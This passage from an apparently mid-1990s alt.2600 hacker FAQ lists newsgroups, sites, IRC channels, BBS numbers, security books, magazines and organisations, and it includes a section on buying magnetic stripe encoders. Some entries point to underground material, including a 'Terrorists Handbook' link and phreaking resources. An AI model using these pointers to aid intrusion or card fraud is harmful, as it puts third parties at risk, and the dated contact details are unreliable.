alt.hackers.malicious The really bad guys - don't take candy from them N alt.ph.uk alt.privacy.anon-server Tech. & policy matters of anonymous contact servers alt.radio.pirate Hide the gear, here comes the magic station-wagons. alt.radio.scanner Discussion of scanning radio receivers. N alt.satellite.tv.europe alt.security Security issues on computer systems alt.security.index Pointers to good stuff in misc.security (Moderated) alt.security.keydist Exchange of keys for public key encryption systems alt.security.pgp The Pretty Good Privacy package alt.security.ripem A secure email system illegal to export from the US comp.dcom.cellular [no description available] comp.dcom.telecom Telecommunications digest (Moderated) comp.dcom.telecom.tech [no description available] comp.org.cpsr.announce Computer Professionals for Social Responsibility comp.org.cpsr.talk Issues of computing and social responsibility comp.org.eff.news News from the Electronic Frontiers Foundation comp.org.eff.talk Discussion of EFF goals, strategies, etc. comp.protocols.kerberos The Kerberos authentification server comp.protocols.tcp-ip TCP and IP network protocols comp.risks Risks to the public from computers & users comp.security.announce Announcements from the CERT about security comp.security.misc Security issues of computers and networks comp.security.unix Discussion of Unix security comp.virus Computer viruses & security (Moderated) de.org.ccc Mitteilungen des CCC e.V. misc.security Security in general, not just computers (Moderated) rec.pyrotechnics Fireworks, rocketry, safety, & other topics rec.radio.scanner [no description available] rec.video.cable-tv Technical and regulatory issues of cable television sci.crypt Different methods of data en/decryption 04. What are some telnet sites of interest to hackers? ntiabbs.ntia.doc.gov (NTIA) N l0pht.com (The L0pht) N sfpg.gcomm.com (The Floating Pancreas) U telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down) 05. What are some gopher sites of interest to hackers? ba.com (Bell Atlantic) csrc.ncsl.nist.gov (NIST Security Gopher) gopher.acm.org (SIGSAC (Security, Audit & Control)) gopher.cpsr.org (Computer Professionals for Social Responsibility) gopher.cs.uwm.edu gopher.eff.org (Electonic Frontier Foundation) gw.PacBell.com (Pacific Bell) iitf.doc.gov (NITA -- IITF) oss.net (Open Source Solutions) spy.org (Computer Systems Consulting) wiretap.spies.com (Wiretap) 06. What are some World wide Web (WWW) sites of interest to hackers? N http://alumni.caltech.edu/~dank/isdn/ (ISDN) http://aset.rsoc.rockwell.com (NASA/MOD AIS Security) http://aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec) N http://att.net/dir800 (800 directory) http://ausg.dartmouth.edu/security.html (Security) http://cs.purdue.edu/coast/coast.html (Coast) http://csrc.ncsl.nist.gov (NIST) U http://dhp.com/~pluvius U http://dfw.net/~aleph1 (Eubercrackers) http://draco.centerline.com:8080/~franl/crypto.html (Crypto) http://everest.cs.ucdavis.edu/Security.html (Security) http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides) http://ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR) http://first.org (FIRST) http://ftp.tamu.edu/~abr8030/security.html (Security) http://hightop.nrl.navy.mil/potpourri.html (Security) http://hightop.nrl.navy.mil/rainbow.html (Rainbow Books) N http://ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling) N http://ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS) http://info.bellcore.com/BETSI/betsi.html (Betsi) http://infosec.nosc.mil/infosec.html (SPAWAR INFOSEC) http://l0pht.com (The l0pht) N http://l0pht.com/~oblivion/IIRG.html (Phantasy Magazine) N http://mindlink.jolt.com (The Secrets of LockPicking) http://mls.saic.com (SAIC MLS) http://naic.nasa.gov/fbi/FBI_homepage.html (FBI Homepage) http://nasirc.hq.nasa.gov (NASA ASIRC) http://ophie.hughes.american.edu/~ophie N http://ripco.com:8080/~glr/glr.html (Full Disclosure) N http://spy.org (CSC) http://tansu.com.au/Info/security.html (Comp and Net Security) http://the-tech.mit.edu (LaMacchia case info) N http://ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting) http://wintermute.itd.nrl.navy.mil/5544.html (Network Security) http://www.aads.net (Ameritech) http://www.alw.nih.gov/WWW/security.html (Unix Security) http://www.artcom.de/CCC (CCC Homepage) http://www.aspentec.com/~frzmtdb/fun/hacker.html N http://www.aus.xanadu.com:70/1/EFA (EFF Australia) http://www.ba.com (Bell Atlantic) http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win) http://www.bell.com (MFJ Task Force) http://www.bellcore.com/SECURITY/security.html (Bellcore Security Products) http://www.brad.ac.uk/~nasmith/index.html http://www.bst.bls.com (BellSouth) http://www.c3.lanl.gov/~mcn (Lanl) N http://www.cert.dfn.de/ (German First Team) http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText) http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html http://www.cpsr.org/home (CPSR) N http://www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk) N http://www.cs.tufts.edu/~mcable/HackerCrackdown (Hacker Crackdown) http://www.cs.umd.edu/~lgas http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security) http://www.csd.harris.com/secure_info.html (Harris) http://www.csl.sri.com (SRI Computer Science Lab) N http://www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe) http://www.datafellows.fi (Data Fellows) http://www.delmarva.com/raptor/raptor.html (Raptor Network Isolator) http://www.demon.co.uk/kbridge (KarlBridge) http://www.digicash.com/ecash/ecash-home.html (Digital Cash) http://www.digital.com/info/key-secure-index.html(Digital Secure Systems) http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq) http://www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems) N http://www.eff.org/papers.html (EFF) http://www.engin.umich.edu/~jgotts/boxes.html (Box info) U http://www.engin.umich.edu/~jgotts/underground/hack-faq.html(This document) http://www.ensta.fr/internet/unix/sys_admin (System administration) N http://www.etext.org/Zines/ (Zines) http://www.fc.net/defcon (DefCon) N http://www.fedworld.gov (Federal Government) N http://www.first.org/first/ (FIRST) N http://www.getnet.com/crak or (CRAK Software) http://www.greatcircle.com (Great Circle Associates) http://www.hpcc.gov/blue94/section.4.6.html (NSA) http://www.ic.gov (The CIA) N http://www.indirect.com/www/johnk/ (CRAK Software) http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security) http://www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook) http://www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide) N http://www.mpr.ca/ (MPR Teltech Ltd) http://www.net23.com (Max Headroom) http://www.nist.gov (NIST) N http://www.ntt.jp (Nippon Telephone) http://www.pacbell.com (Pacific Bell) http://www.paranoia.com/mthreat (ToneLoc) http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP) http://www.phantom.com/~king (Taran King) N http://www.primenet.com/~kludge/haqr.html (Kludge) U http://www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography) N http://www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA) http://www.research.att.com (AT&T) http://www.rsa.com (RSA Data Security) http://www.satelnet.org/~ccappuc http://www.service.com/cm/uswest/usw1.html (USWest) http://www.shore.net/~oz/welcome.html (Hack TV) http://www.spy.org (Computer Systems Consulting) http://www.sri.com (SRI) http://www.tansu.com.au/Info/security.html (Security Reference Index) http://www.tis.com (Trusted Information Systems) http://www.tri.sbc.com (Southwestern Bell) http://www.uci.agh.edu.pl/pub/security (Security) http://www.umcc.umich.edu/~doug/virus-faq.html (Virus) N http://www.usfca.edu/crackdown/crack.html (Hacker Crackdown) http://www.wam.umd.edu/~ankh/Public/devil_does_unix http://www.wiltel.com (Wiltel) N http://www.winternet.com/~carolann/dreams.html http://www.wired.com (Wired Magazine) 07. What are some IRC channels of interest to hackers? #2600 #cellular #hack #phreak #linux #realhack #root #unix #warez 08. What are some BBS's of interest to hackers? N Rune Stone (203)832-8441 Hacker's Haven (303)343-4053 Independent Nation (315)656-4179 N Ut0PiA (315)656-5135 underworld_1994.com (514)683-1894 Digital Fallout (516)378-6640 Alliance Communications (612)251-8596 N Maas-Neotek (617)855-2923 Apocalypse 2000 (708)676-9855 K0dE Ab0dE (713)579-2276 fARM R0Ad 666 (713)855-0261 09. What are some books of interest to hackers? General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Computer Security Management Author: Karen Forcht Publisher: Boyd and Fraser Copyright Date: 1994 ISBN: 0-87835-881-1 Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 N The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) N Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. N Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 N Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: N Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book. Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang. Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4 Cryptography ~~~~~~~~~~~~ Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2 Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy. Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5 Protect Your Privacy: A Guide for PGP Users Author: William Stallings Publisher: Prentice-Hall Copyright Date: 1994 ISBN: 0-13-185596-4 Programmed Threats ~~~~~~~~~~~~~~~~~~ The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0 The original, and still the best, book on computer viruses. No media hype here, just good clean technical information. Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1993 ISBN: 0-929408-07-1 Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System Author: John McAfee and Colin Haynes Publisher: St. Martin's Press Copyright Date: 1989 ISBN: 0-312-03064-9 and 0-312-02889-X The Virus Creation Labs: A Journey Into the Underground Author: George Smith Publisher: American Eagle Publications Copyright Date: 1994 ISBN: Telephony ~~~~~~~~~ Engineering and Operations in the Bell System Author: R.F. Rey Publisher: Bell Telephont Laboratories Copyright Date: 1983 ISBN: 0-932764-04-5 Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over. Telephony: Today and Tomorrow Author: Dimitris N. Chorafas Publisher: Prentice-Hall Copyright Date: 1984 ISBN: 0-13-902700-9 The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan Publisher: Delmar Publishers, Inc. Copyright Date: 1992 ISBN: 0-8273-4615-8 I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field. N Tandy/Radio Shack Cellular Hardware Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications Copyright Date: 1994 ISBN: N The Phone Book Author: Carl Oppendahl Publisher: Consumer Reports Copyright Date: ISBN: 0-89043-364-x Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier. N Principles of Caller I.D. Author: Publisher: International MicroPower Corp. Copyright Date: ISBN: Hacking History and Culture ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-X Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 10. What are some videos of interest to hackers? 'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min Savage Productions 1803 Mission St., #406 Santa Cruz, CA 95060 11. What are some mailing lists of interest to hackers? Academic Firewalls Reflector Address: Registration Address: Send a message to majordomo@greatcircle.com containing the line "subscribe firewalls user@host" U Bugtraq Reflector Address: bugtraq@fc.net Registration Address: bugtraq-request@fc.net Cert Tools Reflector Address: cert-tools@cert.org Registration Address: cert-tools-request@cert.org Computers and Society Reflector Address: Comp-Soc@limbo.intuitive.com Registration Address: taylor@limbo.intuitive.com Coordinated Feasibility Effort to Unravel State Data Reflector Address: ldc-sw@cpsr.org Registration Address: CPSR Announcement List Reflector Address: cpsr-announce@cpsr.org Registration Address: CPSR - Intellectual Property Reflector Address: cpsr-int-prop@cpsr.org Registration Address: CPSR - Internet Library Reflector Address: cpsr-library@cpsr.org Registration Address: DefCon Announcement List Reflector Address: Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-announce" DefCon Chat List Reflector Address: Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-stuff" N IDS (Intruder Detection Systems) Reflector Address: Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au containing the line "subscribe ids" Macintosh Security Reflector Address: mac-security@eclectic.com Registration Address: mac-security-request@eclectic.com NeXT Managers Reflector Address: Registration Address: next-managers-request@stolaf.edu Phiber-Scream Reflector Address: Registration Address: Send a message to listserv@netcom.com containing the line "subscribe phiber-scream user@host" N phruwt-l (Macintosh H/P) Reflector Address: Registration Address: Send a message to filbert@netcom.com with the subject "phruwt-l" rfc931-users Reflector Address: rfc931-users@kramden.acf.nyu.edu Registration Address: brnstnd@nyu.edu RSA Users Reflector Address: rsaref-users@rsa.com Registration Address: rsaref-users-request@rsa.com 12. What are some print magazines of interest to hackers? 2600 - The Hacker Quarterly ~~~~~~~~~~~~~~~~~~~~~~~~~~~ E-mail address: 2600@well.sf.ca.us Subscription Address: 2600 Subscription Dept PO Box 752 Middle Island, NY 11953-0752 Letters and article submission address: 2600 Editorial Dept PO Box 99 Middle Island, NY 11953-0099 Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate. Gray Areas ~~~~~~~~~~ Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/oe controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior. E-Mail Address: grayarea@well.sf.ca.us E-Mail Address: grayarea@netaxs.com U.S. Mail Address: Gray Areas PO Box 808 Broomall, PA 19008 Subscriptions: $26.00 4 issues first class $34.00 4 issues foreign (shipped air mail) Privacy Newsletter ~~~~~~~~~~~~~~~~~~ Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it. E-Mail Address: privacy@interramp.com Subscription Address: Privacy Newsletter P.O. Box 8206 Philadelphia, PA 19101-8206 Subscriptions: $99/yr (US) $149/yr (Overseas) Wired ~~~~~ Subscription Address: subscriptions@wired.com or: Wired PO Box 191826 San Francisco, CA 94119-9866 Letters and article submission address: guidelines@wired.com or: Wired 544 Second Street San Francisco, CA 94107-1427 Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) Nuts & Volts ~~~~~~~~~~~~ T& L Publications 430 Princeland Court Corona, CA 91719 (800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice) (909)371-3052 (Fax) CIS: 74262,3664 13. What are some e-zines of interest to hackers? CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo Empire Times ftp.etext.org /pub/Zines/Emptimes Phrack freeside.com 14. What are some organizations of interest to hackers? Computer Professionals for Social Responsibility (CPSR) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policymakers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society. By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy. Every project we undertake is based on five principles: * We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society. * We work to dispel popular myths about the infallibility of technological systems. * We challenge the assumption that technology alone can solve political and social problems. * We critically examine social and technical issues within the computer profession, nationally and internationally. * We encourage the use of computer technology to improve the quality of life. CPSR Membership Categories 75 REGULAR MEMBER 50 Basic member 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber CPSR National Office P.O. Box 717 Palo Alto, CA 94301 415-322-3778 415-322-3798 (FAX) E-mail: cpsr@csli.stanford.edu Electronic Frontier Foundation (EFF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born. Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations. The Electronic Frontier Foundation, Inc. 666 Pennsylvania Avenue S.E., Suite 303 Washington, D.C. 20003 +1 202 544 9237 +1 202 547 5481 FAX Internet: eff@eff.org Free Software Foundation (FSF) and GNU ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed. The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to chnage a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License). Free Software Foundation, Inc. Telephone: +1-617-876-3296 673 Massachusetts Avenue Fax: +1-617-492-9057 Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD) Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC) GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd. A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more. The League for Programming Freedom (LPF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston. "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation. We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices. Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome. To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to: League for Programming Freedom 1 Kendall Square #143 P.O. Box 9171 Cambridge, MA 02139 USA SotMesc ~~~~~~~ Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy. SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter. The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media. SotMesc memberships are $20 to students and $40 to regular members. SotMESC P.O. Box 573 Long Beach, MS 39560 Computer Emergency Response Team (CERT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems. CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived. CERT contact information: U.S. mail address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 U.S.A. Internet E-mail address cert@cert.org Telephone number (412)268-7090 (24-hour hotline) CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. FAX number (412)268-6989 15. Where can I purchase a magnetic stripe encoder/decoder? CPU Advance PO Box 2434 Harwood Station Littleton, MA 01460 (508)624-4819 (Fax) Omron Electronics, Inc. One East Commerce Drive Schaumburg, IL 60173 (800)556-6766 (Voice) (708)843-7787 (Fax) Security Photo Corporation 1051 Commonwealth Avenue Boston, MA 02215 (800)533-1162 (Voice) (617)783-3200 (Voice) (617)783-1966 (Voice) Timeline Inc, 23605 Telo Avenue Torrence, CA 90505 (800)872-8878 (Voice) (800)223-9977 (Voice) Alltronics 2300 Zanker Road San Jose CA 95131 (408) 943-9774 Voice (408) 943-9776 Fax (408) 943-0622 BBS Part Number: 92U067 Atalla Corp San Jose, CA (408) 435-8850 16. What are the rainbow books and how can I get them? Orange Book DoD 5200.28-STD Department of Defense Trusted Computer System Evaluation Criteria Green Book CSC-STD-002-85 Department of Defense Password Management Guideline Yellow Book CSC-STD-003-85 Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments Yellow Book CSC-STD-004-85 Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments. Tan Book NCSC-TG-001 A Guide to Understanding Audit in Trusted Systems Bright Blue Book NCSC-TG-002 Trusted Product Evaluation - A Guide for Vendors Neon Orange Book NCSC-TG-003 A Guide to Understanding Discretionary Access Control in Trusted Systems Teal Green Book NCSC-TG-004 Glossary of Computer Security Terms Red Book NCSC-TG-005 Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria Orange Book NCSC-TG-006 A Guide to Understanding Configuration Management in Trusted Systems Burgundy Book NCSC-TG-007 A Guide to Understanding Design Documentation in Trusted Systems Dark Lavender Book NCSC-TG-008 A Guide to Understanding Trusted Distribution in Trusted Systems Venice Blue Book NCSC-TG-009 Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria Aqua Book NCSC-TG-010 A Guide to Understanding Security Modeling in Trusted Systems Dark Red Book NCSC-TG-011 Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation Pink Book NCSC-TG-013 Rating Maintenance Phase -- Program Document Purple Book NCSC-TG-014 Guidelines for Formal Verification Systems Brown Book NCSC-TG-015 A Guide to Understanding Trusted Facility Management Yellow-Green Book NCSC-TG-016 Guidelines for Writing Trusted Facility Manuals Light Blue NCSC-TG-017 A Guide to Understanding Identification and Authentication in Trusted Systems Light Blue Book NCSC-TG-018 A Guide to Understanding Object Reuse in Trusted Systems Blue Book NCSC-TG-019 Trusted Product Evaluation Questionnaire Gray Book NCSC-TG-020A Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System Lavender Book NCSC-TG-021 Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria Yellow Book NCSC-TG-022 A Guide to Understanding Trusted Recovery in Trusted Systems Bright Orange Book NCSC-TG-023 A Guide to Understandng Security Testing and Test Documentation in Trusted Systems Purple Book NCSC-TG-024 (Volume 1/4) A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements Purple Book NCSC-TG-024 (Volume 2/4) A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators Purple Book NCSC-TG-024 (Volume 3/4) A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial +Purple Book +NCSC-TG-024 (Volume 4/4) +A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's +Proposal Document - An Aid to Procurement Initiators and Contractors Green Book NCSC-TG-025 A Guide to Understanding Data Remanence in Automated Information Systems Hot Peach Book NCSC-TG-026 A Guide to Writing the Security Features User's Guide for Trusted Systems Turquiose Book NCSC-TG-027 A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems Violet Book NCSC-TG-028 Assessing Controlled Access Protection Blue Book NCSC-TG-029 Introduction to Certification and Accreditation Light Pink Book NCSC-TG-030 A Guide to Understanding Covert Channel Analysis of Trusted Systems C1 Technical Report-001 Computer Viruses: Prevention, Detection, and Treatment *C Technical Report 79-91 *Integrity in Automated Information Systems *C Technical Report 39-92 *The Design and Evaluation of INFOSEC systems: The Computer Security *Contributions to the Composition Discussion NTISSAM COMPUSEC/1-87 Advisory Memorandum on Office Automation Security Guideline -- You can get your own free copy of any or all of the books by writing or calling: INFOSEC Awareness Division ATTN: X711/IAOC Fort George G. Meade, MD 20755-6000 Barbara Keller (410) 766-8729 If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out (typically a couple a year). [* == I have not personally seen this book] [+ == I have not personally seen this book, and I believe it may not] [ be available] Section D: 2600 ~~~~~~~~~~~~~~~ 01. What is alt.2600? Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 